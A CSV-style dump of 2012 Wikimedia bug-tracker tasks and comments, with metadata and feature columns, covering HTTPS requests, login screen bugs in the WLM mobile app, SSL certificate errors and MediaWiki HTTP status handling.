+181682,Use http get with https whenever possible,Verified in Wikidata demo time for sprint 18,,,1354192955,,PHID-USER-yhr5vdicsftzppoi7hat,False,,,PHID-TASK-tcrbgof7zzlpsbfnayrl,task_subcomment,,True,c2,1,False,,,-39,True,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+181678,Use http get with https whenever possible,"With the patch in https://gerrit.wikimedia.org/r/#/c/25509/ and doing a fresh install of MW + Wikibase repo (running maintenance/update.php), I get the following error:
+
+Warning: Invalid argument supplied for foreach() in /Library/WebServer/Documents/wikidata-repo/extensions/Wikibase/lib/includes/Utils.php on line 88
+
+When I change the ""https"" back to ""http"", then it works.  There must be some other solution for this to work correctly.",,,1349110322,,PHID-USER-lzhljhpbm3qfphvqyill,False,,,PHID-TASK-tcrbgof7zzlpsbfnayrl,task_subcomment,,True,c2,1,False,,,-48,True,1,0,0,0,0,1,1,0,0,0,1,0,0,0,1,1,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,1,1,0,1,0,0,0
+181674,Use http get with https whenever possible,"Partial fix in Idf0a6547, but that does not address the issues raised about HTTP requests from the MediaWikiSite class. If I remember the discussion correctly, we agreed that any protocol-relative base URL should default to using HTTPs - at least for Wikimedia sites. That needs additional work.",,,1348999859,,PHID-USER-5dqihbanu3caaj7pigif,False,,,PHID-TASK-tcrbgof7zzlpsbfnayrl,task_subcomment,,True,c2,1,False,,,-48,True,1,0,0,0,1,1,0,0,0,1,1,0,0,0,0,1,0,1,1,0,0,1,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,1,0,1,0
+181669,Use http get with https whenever possible,"There were two place you're calling Http::get(), it would be nice if they could both be forced to use https. It looks like you're using the data pulled back to populate objects, which is fine for the objects you're currently using, but if you start building objects that could effect access control, then you want to make sure you have the correct data.",,,1348828384,,PHID-USER-vlni4mhyozor7ghqnfkl,False,,,PHID-TASK-tcrbgof7zzlpsbfnayrl,task_subcomment,,True,c2,1,False,,,-48,True,0,0,0,1,0,1,1,0,0,1,0,1,0,0,1,0,0,1,1,0,1,0,0,0,1,0,0,0,1,1,0,1,0,1,1,1,0,1,0,0,0,1,0,0,0,1,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,1,0,1,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,0,0,1,0,0,0
+42194,MobileFrontend: remove old hacks for HTTP_APPLICATION_VERSION,"There are some hacks that check HTTP_APPLICATION_VERSION and hide the header or logo depending on settings that came from our old iPhone and Android apps that did screen scraping.
+
+These old apps are dead and we should remove the special-cases, which had caching issues anyway.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Needs Triage,90.0,1347486000,1347558333.0,PHID-USER-yek7ymogrv4qc67oilhf,False,,False,PHID-TASK-qyb6kntst2hka23ccvi2,task_description,resolved,True,c2,1,True,False,True,-50,True,1,0,0,0,0,1,1,0,0,0,0,0,0,0,1,1,0,1,1,0,0,1,0,0,1,1,0,0,0,0,1,1,1,0,0,0,0,1,0,0,0,0,0,1,0,1,0,1,0,1,0,1,1,0,0,0,0,1,0,0,1,0,0,0,0,1,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,0,0,1,0,0,0
+185754,MobileFrontend: remove old hacks for HTTP_APPLICATION_VERSION,This appears to have been resolved with https://gerrit.wikimedia.org/r/#/c/23600/,,,1347558333,,PHID-USER-jh2oguhshocanixqvlfk,False,,,PHID-TASK-qyb6kntst2hka23ccvi2,task_subcomment,,True,c2,1,False,,,-50,True,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,1,0,0,0,0,0,0,0
+41460,Database errors return HTTP 200 OK,"**Author:** `lowzl`
+
+**Description:**
+Patch against 1.19.1
+
+If a DBError is thrown – such as when MySQL is returning the ""too many connections"" error – MediaWiki returns an error page with the HTTP 200 OK status code. This is quite troublesome, since automatic polling by Varnish only checks the status code of the returned page to determine whether the backend is healthy or not. 
+
+I have attached a simple patch to work around this problem. I notice I have to use the PHP header function directly instead of going via $wgOut – I suppose that's because the error page is being output raw instead of through OutputPage.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+
+**Attached**: {F9873}",Needs Triage,90.0,1345222140,1345223128.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-vfkjgjdn36wg2hqnuaex,task_description,resolved,True,c2,1,False,False,True,-54,True,1,0,0,1,1,1,1,1,0,1,1,1,0,1,0,1,0,1,1,0,1,0,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,0
+191418,Database errors return HTTP 200 OK,"Thanks for the link, Krenair.",,,1345226961,,PHID-USER-izojihzr4ja3jsgzn5wv,False,,,PHID-TASK-vfkjgjdn36wg2hqnuaex,task_subcomment,,True,c2,1,False,,,-54,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+191415,Database errors return HTTP 200 OK,Already done by Platonides in Gerrit change 9521,,,1345223128,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-vfkjgjdn36wg2hqnuaex,task_subcomment,,True,c2,1,True,,,-54,True,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+191409,Database errors return HTTP 200 OK,"Looks fixed on master, I see ""HTTP/1.1 500 MediaWiki exception""",,,1345222439,,PHID-USER-izojihzr4ja3jsgzn5wv,False,,,PHID-TASK-vfkjgjdn36wg2hqnuaex,task_subcomment,,True,c2,1,False,,,-54,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,1,0,1,0,1,0,0,0,0,0,0,0,0
+41347,Cannot escape login screen,"Make sure you are logged on.
+From welcome page click on uploads and get taken to login screen
+Click back button
+nothing happens
+
+expected: should go back to welcome screen
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Needs Triage,90.0,1344970860,1345503242.0,PHID-USER-5dwuaigmkz2vzg65lape,False,,False,PHID-TASK-6z5wamdg5nhlcnf5ytpr,task_description,resolved,True,c2,1,False,False,True,-55,True,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0
+185217,Cannot escape login screen,Fixed in https://github.com/wikimedia/WLMMobile/pull/131,,,1345052016,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-6z5wamdg5nhlcnf5ytpr,task_subcomment,,True,c2,1,False,,,-54,True,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0
+41325,"""https services"" listed as unsupported at status.wikimedia.org","Currently an entry at <http://status.wikimedia.org/> reads ""https services (unsupported)"". I think the ""(unsupported)"" part is off-the-mark and should be removed. Maybe it could be changed to ""experimental"" or ""beta"" or something? I don't think any qualifier is needed, though.
+
+I also considered that maybe it was referring to secure.wikimedia.org (which is pretty much unsupported), but I don't see any evidence of that.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+**URL**: http://status.wikimedia.org/",Needs Triage,90.0,1344918840,1355931241.0,PHID-USER-hyfm4swq76s4j642w46x,False,,False,PHID-TASK-s7zbdnwrfyooz3km7gv7,task_description,resolved,True,c2,1,True,False,True,-55,True,1,1,0,1,1,1,1,0,1,0,0,1,0,0,0,1,0,1,1,1,0,1,0,0,1,0,0,0,1,0,0,1,1,1,0,0,0,1,1,0,0,0,0,1,0,0,0,0,1,1,1,0,1,0,1,0,0,1,0,0,1,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,1,0,1,1,1,1,0,1,0,0,1
+184209,"""https services"" listed as unsupported at status.wikimedia.org","Does not say (unsupported) anymore, closing as FIXED.",,,1355931241,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-s7zbdnwrfyooz3km7gv7,task_subcomment,,True,c2,1,True,,,-36,True,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0
+41291,"""Username"", ""Password"" and ""Login"" are not translated","I use the app in Hebrew. After I press ""Uploads"", I get a login screen. The words ""Username"", ""Password"" and ""Login"" appear in English.
+
+It looks like the words ""Username"" and ""Password"" are not even internationalized: they don't appear for translation in translatewiki.net.
+
+The word ""Login"" does appear in translatewiki.net, and it's translated to Hebrew, but it still appears in English.
+
+--------------------------
+**Version**: unspecified
+**Severity**: major",Needs Triage,90.0,1344799620,1344971192.0,PHID-USER-xfe43w2lb5gpvglf4coa,False,,False,PHID-TASK-yidboqrfbtl6ub2lhlep,task_description,resolved,True,c2,1,False,False,True,-55,True,0,0,0,0,1,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,1,1,0,1,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,0,1,0,0,0,0,1
+182372,"""Username"", ""Password"" and ""Login"" are not translated",Fixed in https://github.com/wikimedia/WLMMobile/pull/127,,,1344903855,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-yidboqrfbtl6ub2lhlep,task_subcomment,,True,c2,1,False,,,-55,True,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0
+182367,"""Username"", ""Password"" and ""Login"" are not translated","https://gerrit.wikimedia.org/r/#/c/17016/ adds support for placeholder attribute. We should take advantage of it
+Looking into this now",,,1344900078,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-yidboqrfbtl6ub2lhlep,task_subcomment,,True,c2,1,False,,,-55,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,1,1,0,0,1,1,1,0,0,0,1,1,0,0,0,1,0,0,0
+40570,Page URLs are now returned as HTTPS,"Page URLs are at least in some cases returned as HTTPS, even if the call to the API uses HTTP. The URLs should be protocol-less if possible, only using the protocol if one of HTTP/HTTPS is not supported, and otherwise act as a network-path reference http://tools.ietf.org/html/rfc3986#section-4.2
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Needs Triage,90.0,1342917180,1343904742.0,PHID-USER-vlni4mhyozor7ghqnfkl,False,,False,PHID-TASK-5h4djmjv5cggcx4tezlp,task_description,declined,True,c2,1,False,False,True,-58,True,1,0,0,0,1,1,1,0,0,1,1,0,0,1,0,0,0,1,1,0,0,1,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0
+189185,Page URLs are now returned as HTTPS,"This works as it should now, but accessing the test site only works for http. 
+
+http://wikidata-test-repo.wikimedia.de/w/api.php?action=wbgetitems&sites=enwiki&titles=Oxygen&props=sitelinks|sitelinks/urls
+
+I suspect the previous failure was due to the urls read from the config.",,,1343917582,,PHID-USER-vlni4mhyozor7ghqnfkl,False,,,PHID-TASK-5h4djmjv5cggcx4tezlp,task_subcomment,,True,c2,1,False,,,-56,True,0,0,0,0,0,1,1,0,0,0,1,0,0,1,0,1,0,1,1,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,1,1,1,0,1,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,1,0,0,0,1,0,0,0
+189181,Page URLs are now returned as HTTPS,Cannot reproduce. Please check again.,,,1343904742,,PHID-USER-o4wy22wrannrbargenyn,False,,,PHID-TASK-5h4djmjv5cggcx4tezlp,task_subcomment,,True,c2,1,False,,,-56,True,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
+40434,SSL errors on secure non-wikipedia mobile sites,"https://en.m.wiktionary.org/ is giving me this error: ""You attempted to reach en.m.wiktionary.org, but instead you actually reached a server identifying itself as *.wikipedia.org."" followed by warnings of possible dangers.
+
+--------------------------
+**Version**: .5
+**Severity**: normal",Needs Triage,90.0,1342494480,1342536842.0,PHID-USER-um3fhlwaza6ecwf67t77,False,,False,PHID-TASK-rr4iqsd6pmfjwrpfc2yw,task_description,resolved,True,c2,1,False,False,True,-59,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,1,1,0,0,0,0,0,1,1,0,1,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,0,1,1,1,0,0,0
+182052,SSL errors on secure non-wikipedia mobile sites,"Removing dependency on bug 27946 which is for secure.wikimedia.org
+
+This is also a duplicate of  bug 36126 which was for the *.mobile.wikimedia.org domains and that I rephrased to take in account m.wiktionary.org.
+
+*** This bug has been marked as a duplicate of bug 36126 ***",,,1342536842,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-rr4iqsd6pmfjwrpfc2yw,task_subcomment,,True,c2,1,True,,,-59,True,0,0,0,1,0,0,1,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0
+40270,User should be able to create a Commons account from login screen,"There is currently no way to create a Commons user account from within the app.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Needs Triage,90.0,1341877080,1341944025.0,PHID-USER-jh2oguhshocanixqvlfk,False,,False,PHID-TASK-i2h6olm6tfhww3lga2b2,task_description,resolved,True,c2,1,False,False,True,-60,True,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+196501,User should be able to create a Commons account from login screen,Resolved in https://github.com/wikimedia/WLMMobile/pull/36,,,1341881494,,PHID-USER-jh2oguhshocanixqvlfk,False,,,PHID-TASK-i2h6olm6tfhww3lga2b2,task_subcomment,,True,c2,1,False,,,-60,True,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+40251,"[Regression] ""returnto"" from Login broken when used from a page without 'title' parameter","When being logged out and using a link from Recentchanges like this:
+
+http://commons.wikimedia.org/?diff=73980366&oldid=10204883&rcid=75133143
+
+And then trying to log in, it will return to ""Main Page"".
+
+--------------------------
+**Version**: 1.19
+**Severity**: major",Needs Triage,90.0,1341777180,1341777207.0,PHID-USER-sai77mtxmpqnm6pycyvz,False,,False,PHID-TASK-4yxpk2dzj5i44ge226gc,task_description,resolved,True,c2,1,True,False,True,-60,True,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,1,1,0,1,0,0,0
+195521,"[Regression] ""returnto"" from Login broken when used from a page without 'title' parameter","
+
+*** This bug has been marked as a duplicate of bug 36053 ***",,,1341777207,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-4yxpk2dzj5i44ge226gc,task_subcomment,,True,c2,1,True,,,-60,True,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+40220,Cannot click back icon on login screen,"Go to a monument page and click the upload button in the right hand corner. An upload form appears. Click back button in the top left corner and nothing happens.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Needs Triage,90.0,1341595920,1341596042.0,PHID-USER-5dwuaigmkz2vzg65lape,False,,False,PHID-TASK-iqxrw2c6j7fj6ayibgqx,task_description,resolved,True,c2,1,False,False,True,-60,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+193523,Cannot click back icon on login screen,Fixed in https://github.com/wikimedia/WLMMobile/pull/28,,,1341596042,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-iqxrw2c6j7fj6ayibgqx,task_subcomment,,True,c2,1,False,,,-60,True,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0
+40072,WLM App needs a better login failed message,"Currently it says ""Login failed :( NotExists""
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Needs Triage,90.0,1340939040,1341877033.0,PHID-USER-qmantxp3p7omhisp3qgq,False,,False,PHID-TASK-4eyk3u7skms74odqhdhz,task_description,resolved,True,c2,1,False,False,True,-61,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,1,0,0,0,0,0,0,0,0
+185056,WLM App needs a better login failed message,Resolved in https://github.com/wikimedia/WLMMobile/pull/30,,,1341877033,,PHID-USER-jh2oguhshocanixqvlfk,False,,,PHID-TASK-4eyk3u7skms74odqhdhz,task_subcomment,,True,c2,1,False,,,-60,True,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+185050,WLM App needs a better login failed message,"What should the failed login messaging actually be? There are a number of failure states for the login API, documented here:
+http://www.mediawiki.org/wiki/API:Login#Errors
+
+For simplicity, I'm inclined to group the possible errors as follows, which would simplify messaging:
+* Something wrong with the username (NoName, Illegal, NotExists) eg ""Login failed: There is a problem with the username you entered.""
+* Something wrong with the password (EmptyPass, WrongPass, WrongPluginPass) eg ""Login failed: There is a problem with the password you entered.""
+* Blocked account (CreateBlocked, Blocked) eg ""Login failed: The user account has been blocked. Please go to <somewhere for more info about blocked accounts> for more information.""
+* The account is being throttled (Throttled) eg ""Login failed: You have attempted to log in too many times in a short period of time. Please wait a bit and try logging in again.""
+* Internal error (mustbeposted, NeedToken): ""Login failed: There was an internal error. Please try again later, and/or contact us""",,,1341532067,,PHID-USER-jh2oguhshocanixqvlfk,False,,,PHID-TASK-4eyk3u7skms74odqhdhz,task_subcomment,,True,c2,1,False,,,-60,True,1,1,0,1,0,1,1,0,0,0,1,1,0,0,1,1,0,1,1,1,1,1,0,1,1,0,0,0,0,1,0,1,0,0,1,1,0,1,0,0,0,0,1,1,0,0,0,0,0,1,0,0,1,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,1,0,0,1,1,1,1,1,0,1,1,1,1,1,1,1,0,1
+39886,action=mobileview & page=Main_Page & sections=references returns HTTP 500 error,"http://en.wikipedia.org/w/api.php?action=mobileview&format=json&page=Main_Page&sections=references - expect an empty resultset, get a 500 instead.
+
+More problematic is http://en.wikipedia.org/w/api.php?action=mobileview&format=json&page=Main_Page&sections=0|references - expect to get contents of section 0, get a 500 instead.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Needs Triage,90.0,1340487480,1341423543.0,PHID-USER-2nnm76h4ykalvvref2ye,False,,False,PHID-TASK-kbzvmp44wsnceuzjmzxj,task_description,resolved,True,c2,1,True,False,True,-62,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,1,0,0
+175788,action=mobileview & page=Main_Page & sections=references returns HTTP 500 error,Merged and deployed.,,,1341423543,,PHID-USER-aasrweh54ew7py3agvg2,False,,,PHID-TASK-kbzvmp44wsnceuzjmzxj,task_subcomment,,True,c2,1,False,,,-60,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,0,1,0,0,0
+175780,action=mobileview & page=Main_Page & sections=references returns HTTP 500 error,Yuvi submitted a fix in https://gerrit.wikimedia.org/r/#/c/12788/,,,1340756333,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-kbzvmp44wsnceuzjmzxj,task_subcomment,,True,c2,1,False,,,-61,True,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+175772,action=mobileview & page=Main_Page & sections=references returns HTTP 500 error,"The error message on the 500 is:
+
+PHP fatal error in /usr/local/apache/common-local/php-1.20wmf5/extensions/MobileFrontend/api/ApiMobileView.php line 117: 
+Unsupported operand types",,,1340547891,,PHID-USER-2nnm76h4ykalvvref2ye,False,,,PHID-TASK-kbzvmp44wsnceuzjmzxj,task_subcomment,,True,c2,1,True,,,-62,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+39791,Wikimedia Shop login link is misplaced,"When you visit <http://shop.wikimedia.org/> currently, the site login link is in the sidebar:
+
+---
+* Shop navigation
+** Home
+** Apparel
+** Accessories
+** Travel
+
+* Customer login
+** Login
+
+[...]
+---
+
+This doesn't make any sense to me given that the site is attempting to emulate MediaWiki's Vector skin. The login link should be in the upper right-hand corner just as it is on Wikimedia wikis.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Needs Triage,90.0,1340297160,1345500755.0,PHID-USER-hyfm4swq76s4j642w46x,False,,False,PHID-TASK-xqeaoxlklfqi2xqs43gd,task_description,resolved,True,c2,1,True,False,True,-62,True,1,0,0,0,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,1,1,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,1,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,1,0,1,1,0,0,1
+178669,Wikimedia Shop login link is misplaced,"I didn't comment on this when it was changed for some reason. Marking as fixed for now, the login button is currently off in the upper right hand corner. If there are other concerns feel free to reopen and we can adjust it as time allows.",,,1345500755,,PHID-USER-f6l3bchko2ogbi4poj24,False,,,PHID-TASK-xqeaoxlklfqi2xqs43gd,task_subcomment,,True,c2,1,False,,,-54,True,1,0,0,1,1,1,1,0,0,1,1,1,0,0,1,1,0,1,1,0,1,0,0,0,1,0,0,0,1,0,0,1,1,1,1,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,1,0,0,1,0,0,0
